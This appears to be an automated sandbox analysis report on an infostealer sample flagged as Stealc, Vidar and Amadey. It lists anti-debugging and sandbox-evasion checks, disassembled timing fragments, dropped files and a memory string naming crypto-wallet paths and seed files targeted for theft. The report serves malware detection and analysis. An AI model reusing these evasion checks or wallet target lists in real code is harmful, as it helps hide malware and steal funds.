Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D3F566 second address: D3F5F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FB21D0A7D76h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007FB21D0A7D78h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 mov di, D5BAh 0x0000002d mov edi, dword ptr [ebp+122D385Ch] 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push esi 0x00000038 call 00007FB21D0A7D78h 0x0000003d pop esi 0x0000003e mov dword ptr [esp+04h], esi 0x00000042 add dword ptr [esp+04h], 0000001Dh 0x0000004a inc esi 0x0000004b push esi 0x0000004c ret 0x0000004d pop esi 0x0000004e ret 0x0000004f or di, 6DAFh 0x00000054 push esi 0x00000055 adc bh, FFFFFFC7h 0x00000058 pop edi 0x00000059 push 00000000h 0x0000005b mov edi, dword ptr [ebp+122D35FDh] 0x00000061 call 00007FB21D0A7D82h 0x00000066 pop ebx 0x00000067 xchg eax, esi 0x00000068 pushad 0x00000069 pushad 0x0000006a pushad 0x0000006b popad 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D3F5F6 second address: D3F628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FB21D05D60Fh 0x0000000b jmp 00007FB21D05D609h 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 jg 00007FB21D05D5F8h 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D3F628 second address: D3F62E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D40707 second address: D4070B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D4070B second address: D4070F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D41690 second address: D41694 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D41694 second address: D41722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jno 00007FB21D0A7D89h 0x0000000e nop 0x0000000f push ecx 0x00000010 jng 00007FB21D0A7D7Ch 0x00000016 sub edi, dword ptr [ebp+122D17A2h] 0x0000001c pop edi 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push esi 0x00000022 call 00007FB21D0A7D78h 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], esi 0x0000002c add dword ptr [esp+04h], 0000001Ah 0x00000034 inc esi 0x00000035 push esi 0x00000036 ret 0x00000037 pop esi 0x00000038 ret 0x00000039 and bh, 00000015h 0x0000003c call 00007FB21D0A7D7Eh 0x00000041 mov dword ptr [ebp+1245A7E3h], ecx 0x00000047 pop ebx 0x00000048 mov edi, dword ptr [ebp+12479F1Eh] 0x0000004e push 00000000h 0x00000050 jmp 00007FB21D0A7D7Fh 0x00000055 xchg eax, esi 0x00000056 jl 00007FB21D0A7D93h 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D41722 second address: D41745 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D05D605h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007FB21D05D5F6h 0x00000013 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 103F8ED instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 103FA03 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 103F8F5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11AB7E6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11FAA14 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11E5B43 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Special instruction interceptor: First address: B7EA30 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Special instruction interceptor: First address: D278A9 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Special instruction interceptor: First address: B7C3BA instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Special instruction interceptor: First address: DB0C52 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 23EA30 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3E78A9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 23C3BA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 470C52 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe

Code function: 26_2_05510C78 rdtsc

26_2_05510C78

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nbea1t8[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1009905001\nbea1t8.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 7000	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7000	Thread sleep time: -70035s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6968	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6968	Thread sleep time: -74037s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1372	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3136	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3136	Thread sleep time: -72036s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3532	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3532	Thread sleep time: -66033s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1976	Thread sleep count: 40 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1976	Thread sleep time: -80040s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3556	Thread sleep count: 42 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3556	Thread sleep time: -84042s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6368	Thread sleep count: 48 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6368	Thread sleep time: -96048s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 964	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7544	Thread sleep count: 51 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7544	Thread sleep time: -1530000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7544	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C96C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C96C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000022.00000002.3406068356.00000000003C4000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Web Data.10.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Web Data.10.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: Web Data.10.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Web Data.10.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2736555309.0000000001773000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2736555309.00000000017A5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000002.3407506473.0000000000B5C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000002.3407506473.0000000000B29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.10.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000000.00000002.2736555309.000000000172E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarem
Source: Web Data.10.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: Web Data.10.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Web Data.10.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000002.2736555309.00000000017A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWY
Source: Web Data.10.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Web Data.10.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Web Data.10.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Web Data.10.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2736555309.000000000172E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Web Data.10.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Web Data.10.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Web Data.10.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2734942968.00000000011B2000.00000040.00000001.01000000.00000003.sdmp, DocumentsIIJKJDAFHJ.exe, 0000001A.00000002.2771225267.0000000000D04000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000001B.00000002.2811545115.00000000003C4000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001C.00000002.2812242017.00000000003C4000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000022.00000002.3406068356.00000000003C4000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.10.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 34_2_04A605C6 Start: 04A605DC End: 04A605E2

34_2_04A605C6

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe

Code function: 26_2_05510C78 rdtsc

26_2_05510C78

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C9B5FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6C953480

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_0020652B mov eax, dword ptr fs:[00000030h]		34_2_0020652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_0020A302 mov eax, dword ptr fs:[00000030h]		34_2_0020A302

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C98B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C98B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5684, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIIJKJDAFHJ.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIIJKJDAFHJ.exe "C:\Users\user\DocumentsIIJKJDAFHJ.exe"
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: file.exe, 00000000.00000002.2734942968.00000000011B2000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: od(3VProgram Manager
Source: file.exe, file.exe, 00000000.00000002.2734942968.00000000011B2000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: d(3VProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C98B341 cpuid

0_2_6C98B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9535A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C9535A0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 26.2.DocumentsIIJKJDAFHJ.exe.b10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.skotes.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.skotes.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.skotes.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000002.2812090807.00000000001D1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2771092690.0000000005180000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.3315379474.0000000004850000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2811446858.00000000001D1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2770111286.0000000000B11000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2771645245.00000000049A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3405864254.00000000001D1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2729438980.0000000005300000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2734481674.0000000000DF1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2736555309.000000000172E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2167191514.0000000005270000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5684, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 00000000.00000002.2736555309.000000000172E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5684, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
